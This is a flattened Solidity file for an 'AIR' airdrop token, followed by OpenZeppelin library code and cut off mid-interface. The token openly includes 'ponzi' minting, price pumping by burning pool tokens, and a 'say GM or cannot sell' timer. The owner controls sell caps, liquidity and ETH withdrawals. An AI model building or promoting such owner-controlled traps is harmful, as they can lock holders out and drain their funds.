// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
                                                                                                                     
/*
☞ https://ethos.vision
𝕏 https://x.com/Ethereum_OS
✌︎ https://t.me/ethosportal
Welcome to the Ethereum Operating System - the first of its kind DeFi software 
built as a social DeFi sandbox that is filled with composable elements so you can create, 
trade, communicate and participate - all in one place.
Sounds interesting? Participate in our gamified airdrop that starts NOW!
Enjoy farming $AIR and saying GM for daily rewards!
You can purchase it, or get it for free, on our website!
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*/ 
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./math/SafeMathUint.sol";
import "./math/SafeMathInt.sol";
import "interfaces/IUniswapV2Router02.sol";
import "interfaces/IUniswapV2Pair.sol";
import "interfaces/IUniswapV2Factory.sol";
contract AirdropToken is ERC20, Ownable, ReentrancyGuard {
  // Libraries
    using SafeMath for uint256;
    using SafeMath for uint112;
    using SafeMathUint for uint256;
    using SafeMathInt for int256;
  // Contracts
    IUniswapV2Pair public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;
    address payable WETH; 
    IUniswapV2Factory public uniswapFactory;
    address public constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // mainnet 
  // States
    uint public mintAmount = 200_000 * 10**18;
    uint public timeCreated;
    uint public deploymentBlock;
    uint public initialLiquidity;
    uint public totalWhitelisted;
    uint public daysPerEpoch = 3;
    uint public epochs = 11;
    // TOOGLES
    bool public tradingOpen;
    bool public drainIsForbidden = true;
    // PUMP
    uint public maxDailyPumpRate; // 300% max pump per day
    uint public lastPumpTimestamp;   
    bool public pumpIsPublic;
    // PONZI
    uint public apy ;
    uint public ponziStart;
    uint public apyPerEpoch = 600;
    // GM
    uint public totalGM;
    uint public deathTime;
    uint public deathStartedTimestamp;
    // BURN
    uint public burnPercentageBuy = 1;
    uint public burnPercentageSell = 1; 
    // AIRDROP EXPENCES
    uint public reflectionsPercent = 3;
    uint public volumeAmount;
    bool public isMintAutomated = true;
    bool inSwap = false;
  // Mappings
    mapping(address => bool) public wl;
    mapping(address => bool) private _immortal;
    mapping(address => uint) public whitelistAmount;
    mapping(address => uint) public firstReceivedBlockTimeStamp;
    mapping(address => uint) public saidGM;
    mapping(address => uint) public lastTimeClaimed;
    mapping(address => uint) public savedPonziTokens;
    mapping(uint => address) public whitelistOrder;
    mapping(address => bool) public admins;
  // Events
    event Pumped(uint256 burnAmount, uint256 pumpAmount);
    event Claim(address indexed user, uint256 tokenBal, uint256 ethClaimed);
    event DeathAvoided(address indexed user, uint256 when);
    
  // Modifiers
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
  // Constructor
    constructor() ERC20("AIR", "AIR") {
        timeCreated = block.timestamp;
        deploymentBlock = block.number;
        uniswapV2Router = IUniswapV2Router02(UNISWAP_ROUTER);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        WETH = payable(uniswapV2Router.WETH());
        _mint(address(this), 100_000_000e18);
        timeCreated = block.timestamp;
        deploymentBlock = block.number;
        
        wl[msg.sender] = true;
        wl[msg.sender] = true;
        wl[address(this)] = true;
        _immortal[msg.sender] = true;
        _immortal[address(uniswapV2Router)] = true;
        _immortal[address(this)] = true;
        uniswapV2Pair = IUniswapV2Pair(
            IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH())
        );
        _immortal[address(uniswapV2Pair)] = true;
        setSpecs(50, 48 hours, 300);
    }
  // User
    function mint() public {
        require(whitelistAmount[msg.sender] > 0 || msg.sender == owner(), "Sorry, you're have no whitelists");
        uint whitelists =  whitelistAmount[msg.sender];
        whitelistAmount[msg.sender] = 0;
        if (firstReceivedBlockTimeStamp[msg.sender] == 0) {
            firstReceivedBlockTimeStamp[msg.sender] = block.timestamp;
        }
        if(pendingPonziTokens(msg.sender) > 0){
            savedPonziTokens[msg.sender] = pendingPonziTokens(msg.sender);
            lastTimeClaimed[msg.sender] = block.timestamp;
        }else{
            lastTimeClaimed[msg.sender] = block.timestamp;
        }
        if(isMintAutomated){
            _mint(msg.sender, epochMintAmount(epoch()) * whitelists);  
        }else{
            _mint(msg.sender, mintAmount * whitelists);  
        }
    }
  // Pump
    ///@notice Calculate Pump 
    ///@dev These values represent the avalable pump that can be excecuted by anyone
    // /@return The amount of tokens to Burn, Pump percentage (1e18), Desired Price (in ETH), current Price (in ETH)
    function calculatePump() public view returns (uint256 burnAmount, uint256 pumpNow, uint256 desiredPrice, uint256 price) {
        (uint112 r0, uint112 r1) = getReserves();
        if (r0 > 1e18 && maxDailyPumpRate > 0 && lastPumpTimestamp < block.timestamp) {
            uint256 price = uniswapV2Router.quote(1e18, r0, r1);
            uint256 pumpNow = ((block.timestamp - lastPumpTimestamp) * (maxDailyPumpRate * 1e18 / 86400));
            if (pumpNow >= maxDailyPumpRate * 3e18) {
                pumpNow = maxDailyPumpRate * 3e18;
            }
            desiredPrice = price.add(((price.mul(pumpNow) / 1e18) / 100));
            require(desiredPrice > 0, "Invalid desired price");
            uint256 desiredReserves = (r1.mul(1e9) / desiredPrice).mul(1e9);
            burnAmount = r0.sub(desiredReserves, "Invalid reserves calculation");
            return (burnAmount, pumpNow, desiredPrice, price);
        } else {
            return (0, 0, 0, 0);
        }
    }
    ///@notice Pump 
    ///@dev This function pumps the token price (in ETH) based on "calculatePump()" function
    function pump() public {
        require(pumpIsPublic || msg.sender == owner(), "You can not pump");
        (uint256 burnAmount, uint256 pumpAmount,,) = calculatePump();
        if (burnAmount > 0) {
            _burn(address(uniswapV2Pair), burnAmount);
            lastPumpTimestamp = block.timestamp;
            uniswapV2Pair.sync();
            emit Pumped(burnAmount, pumpAmount);
        }
    }
  // GM
    ///@notice Said GM
    ///@dev These bool represents is user said GM in last two days, 
    ///@return Is able to sell/transfer
    function isAlive(address _user) public view returns (bool) {
        if(deathTime > 0){
        if (checkDeathTimeStamp(_user) == 0 || block.timestamp < checkDeathTimeStamp(_user) || _immortal[_user]) {
            return true;
        } else {
            return false;
        }
        }else{
            return true;
        }
    }
    ///@notice GM timestamp for user
    ///@dev These value represents timestamp until user need to say GM
    ///@return GM timestamp
    function checkDeathTimeStamp(address _user) public view returns (uint256) {
        uint256 deathTimeStamp;
        if (firstReceivedBlockTimeStamp[_user] != 0) {
            if (deathStartedTimestamp > firstReceivedBlockTimeStamp[_user]) {
                deathTimeStamp = deathStartedTimestamp + deathTime;
            }
            //if (deathStartedTimestamp < firstReceivedBlockTimeStamp[_user])
            else {
                deathTimeStamp = firstReceivedBlockTimeStamp[_user] + deathTime;
            }
        } else {
            return 0;
        }
        return deathTimeStamp;
    }
    ///@notice Said GM
    ///@dev These function allows the user to say GM in last two days
    function sayGM(address account) public {
        require(msg.sender == account, "Not authorized to avoid death");
        if (deathTime > 0 && isAlive(account)) {
            firstReceivedBlockTimeStamp[account] = block.timestamp;
            saidGM[account] += 1; 
            totalGM++;
            emit DeathAvoided(account, block.timestamp);
        }
    }
  // Ponzi
    ///@notice Pending Ponzi Tokens
    ///@dev This function shows the amount of ponzi tokens that can be claimed by the user
    ///@return The amount of ponzi tokens that can be claimed by the user
    function pendingPonziTokens(address _user) public view returns (uint256) {
        if (apy > 0 && lastTimeClaimed[_user] > 0) {
        uint time = startTimestamp() > lastTimeClaimed[_user] ? startTimestamp() : lastTimeClaimed[_user];
        return (((balanceOf(_user) * (apy + additionalAPY()) / 10000 ) / 86400) * (block.timestamp - time)) + savedPonziTokens[_user];
        } else {
            return 0;
        }
    }
    ///@notice Claim Ponzi Tokens
    ///@dev This function allows the user to claim their ponzi tokens.
    function claimPonziTokens(address _user) public nonReentrant {
        uint256 accumulatedTokens = pendingPonziTokens(msg.sender);
        require(accumulatedTokens > 0, "Zero claimable amount");
        lastTimeClaimed[msg.sender] = block.timestamp;
        savedPonziTokens[msg.sender] = 0;
        _mint(msg.sender, accumulatedTokens);
        emit Claim(msg.sender, balanceOf(msg.sender), accumulatedTokens);
    }
  // Core
    function epoch() public view returns (uint256) {
        uint256 daysSinceLaunch = (block.timestamp - timeCreated) / 86400;
        if(daysSinceLaunch < daysPerEpoch){
            return 0;
        }else if(daysSinceLaunch > epochs*daysPerEpoch){
            return epochs;
        }else{
            return daysSinceLaunch/daysPerEpoch;
        }
    }
    function additionalAPY() public view returns (uint256) {
        return epoch() * apyPerEpoch;
    }
    function startTimestamp() public view returns (uint256) {
        return timeCreated + (epoch() * 3 days);
    }
    function epochMintAmount(uint256 _epoch) public view returns (uint256) {
        uint lastEpochMintAmount = mintAmount/4;
        uint epochLostAmount = (mintAmount - lastEpochMintAmount) * _epoch / 11;
    
        return mintAmount - epochLostAmount;
    }
    function share(address _user) public view returns (uint256) {
        return (balanceOf(_user)*1e18 / (totalSupply() - balanceOf(address(uniswapV2Pair))));
    }
  // Transfer
    function _beforeTokenTransfer(address from, address to, uint256 value) internal virtual override {
        if (from != address(0)) {
            uint256 reflectionsAmount = 0;
            if (deathTime > 0) {
                require(isAlive(from), "cannot escape death");
            }
            if (firstReceivedBlockTimeStamp[to] == 0) {
                firstReceivedBlockTimeStamp[to] = block.timestamp;
            }
            if(pendingPonziTokens(to) > 0){
                savedPonziTokens[to] = pendingPonziTokens(to);
                lastTimeClaimed[to] = block.timestamp;
            }else{
                lastTimeClaimed[to] = block.timestamp;
            }
            if (msg.sender != address(this) && to != address(0)) {
               
                if (!wl[from] && !wl[to]) {
                    if (from == address(uniswapV2Pair) && to != address(uniswapV2Router)) {
                        if (!tradingOpen) {
                            require(wl[to], "Trading not open");
                        }
                        reflectionsAmount = (value * reflectionsPercent) / 100;
                        volumeAmount += reflectionsAmount;
                    }
                    if (to == address(uniswapV2Pair) && from != address(this)) {
                        if (!tradingOpen) {
                            require(wl[from], "Trading is not open yet");
                        }
                        if (tradingOpen) {
                            if (drainIsForbidden) {
                                require(value <= calculateMaxSell(), "Eth cannot be less then owner provided.");
                            }
                        }
                        reflectionsAmount = (value * reflectionsPercent) / 100;
                        volumeAmount += reflectionsAmount;
                    }
                    
                    // Small project fee to cover airdrop expences and codes auto approving.
                    bool canSwap = volumeAmount > minReflectionsSwap() && reflectionsAmount > 0;
                    if (canSwap && !inSwap && to == address(uniswapV2Pair)) {        
                        swapTokensForEth(reflectionsAmount);
                    }
                }
            }
        }
        
        super._beforeTokenTransfer(from, to, value);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        if (!wl[from] && !wl[to]) {
            // buy
            if (from == address(uniswapV2Pair) && to != address(uniswapV2Router) && burnPercentageBuy > 0) {
                uint burnAmount = amount * burnPercentageBuy / 100;
                super._transfer(from, to, amount);
                _burn(to, burnAmount);
            }
            // sell
            else if (to == address(uniswapV2Pair) && from != address(this) && burnPercentageSell > 0) {
                uint burnAmount = amount * burnPercentageSell / 100;
                super._transfer(from, to, amount - burnAmount);
                _burn(from, burnAmount);
            }
            else{
                super._transfer(from, to, amount);
            }
        }else{
            super._transfer(from, to, amount);
        }
    }
    function swapTokensForEth(uint256 _toSwap) private lockTheSwap{
        volumeAmount -= _toSwap;
        _mint(address(this), _toSwap);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        this.approve(address(uniswapV2Router), _toSwap);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            _toSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
  // Sell 
    ///@notice Calculate Max Sell
    ///@dev This value represents the amount of token that can be sold without draining Dev eth in lp (It is protected)
    ///@return The maximum amount of tokens
    function calculateMaxSell() public view returns (uint256) {
        (uint112 tknRes, uint112 ethRes) = getReserves();
        if (ethRes > initialLiquidity) {
            (uint256 tkn) = uniswapV2Router.getAmountIn(ethRes - initialLiquidity, tknRes, ethRes);
            return tkn;
        } else {
            return 0;
        }
    }
  // Pair Helpers
    function getQuote(uint256 amountA, uint256 reserveA, uint256 reserveB) public view returns (uint256) {
        return uniswapV2Router.quote(amountA, reserveA, reserveB);
    }
    function getReserves() public view returns (uint112, uint112) {
        (uint112 _reserve0, uint112 _reserve1,) = uniswapV2Pair.getReserves();
        return address(this) < uniswapV2Router.WETH() ? (_reserve0, _reserve1) : (_reserve1, _reserve0);
    }
  // Admin
    function addLiquidity() public payable onlyOwner {
        uint256 devTokens = totalSupply() * 3 / 100;
        uniswapV2Router = IUniswapV2Router02(UNISWAP_ROUTER);
        this.approve(UNISWAP_ROUTER, type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this), totalSupply() - devTokens, 0, 0, address(this), block.timestamp
        );
        this.transfer(msg.sender, devTokens);
        setInitialLiquidity(msg.value);
    }
    function setSpecs(
        uint256 _maxDailyPumpRate,
        uint256 _reaperDeathTime,
        uint256 _apy
    ) public onlyOwner {
     
        if (_maxDailyPumpRate != maxDailyPumpRate) {
            require(_maxDailyPumpRate <= 300, "Max daily pump rate must be less or equal to 100");
            maxDailyPumpRate = _maxDailyPumpRate;
            lastPumpTimestamp = block.timestamp;
        }
        if (_reaperDeathTime != deathTime) {
            if(_reaperDeathTime == 0){
                deathTime = 0;
                deathStartedTimestamp = 0;
            }else{
            require(_reaperDeathTime >= 10 minutes && _reaperDeathTime <= 1200 hours,
            "Reaper death time must be more or equal to 12 hours or less or equal to ");
            if(_reaperDeathTime < deathTime){
                deathStartedTimestamp = block.timestamp;
            }
            deathTime = _reaperDeathTime;
            }
        }
        if (_apy != apy) {
            require(_apy <= 10000, "APY must be less or equal to 100");
            if(_apy > apy){
            ponziStart = block.timestamp;
            }
            apy = _apy;
        }
    }
    function setDrainIsForbidden(bool _drainIsForbidden) public onlyOwner {
        drainIsForbidden = _drainIsForbidden;
    }
    function setPumpIsPublic(bool _pumpIsPublic) public onlyOwner {
        pumpIsPublic = _pumpIsPublic;
    }
    function minReflectionsSwap() public view returns (uint256) {
        return balanceOf(address(uniswapV2Pair)) / 100;
    }
    function setDaysPerEpoch(uint _daysPerEpoch) public onlyOwner {
        daysPerEpoch = _daysPerEpoch;
    }
    function setEpochs(uint _epochs) public onlyOwner {
        epochs = _epochs;
    }
    function setAPYPerEpoch(uint _apyPerEpoch) public onlyOwner() {
        apyPerEpoch = _apyPerEpoch;
    }
    function setMintAutomated(bool _mintAutomated) public onlyOwner() {
        isMintAutomated = _mintAutomated;
    }
    function setBurnPercentages(uint _burnPercentageBuy, uint _burnPercentageSell) public onlyOwner() {
        require(_burnPercentageBuy <= 25 && _burnPercentageSell <= 25, "Burn percentage is too big.");
        burnPercentageBuy = _burnPercentageBuy;
        burnPercentageSell = _burnPercentageSell;
    }
    function openTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = true;
    }
    function setInitialLiquidity(uint _initialLiquidity) public onlyOwner {
        initialLiquidity = _initialLiquidity;
    }
    function setAdmin(address _admin, bool _isAdmin) public onlyOwner {
        admins[_admin] = _isAdmin;
    }
    function isAdmin(address _user) public view returns (bool) {
        return admins[_user];
    }
    function addToWhitelist(address[] memory addresses) public {
        require(msg.sender == owner() || isAdmin(msg.sender), "Not authorized");
        for (uint i = 0; i < addresses.length; i++) {
            whitelistAmount[addresses[i]] += 1;
            whitelistOrder[totalWhitelisted] = addresses[i];
            totalWhitelisted += 1;
        }
    }
    function viewWhitelist() public view returns (address[] memory) {
        address[] memory _whitelist = new address[](totalWhitelisted);
        for (uint i = 0; i < totalWhitelisted; i++) {
            _whitelist[i] = whitelistOrder[i];
        }
        return _whitelist;
    }
    function setMintAmount(uint _mintAmount) public onlyOwner {
        mintAmount = _mintAmount;
    }
    function emergencyWithdrawEth(uint256 _amount) external onlyOwner {
        (bool success,) = owner().call{value: _amount}("");
    }
    function emergencyWithdrawTokens(address _token, uint toWithdraw) public onlyOwner{
        IERC20 token = IERC20(_token);
        token.transfer(owner(), toWithdraw);
    }
  // Burn
    function burn(uint256 amount) public {
        _burn(msg.sender, amount);
    }
  // Receive
    function payday() public payable {
        if (msg.value > 0) {
        (bool success,) = owner().call{value: msg.value}("");
        } 
    }
    receive() external payable {
        payday();
    }
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.
    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;
    constructor() {
        _status = _NOT_ENTERED;
    }
    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }
    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
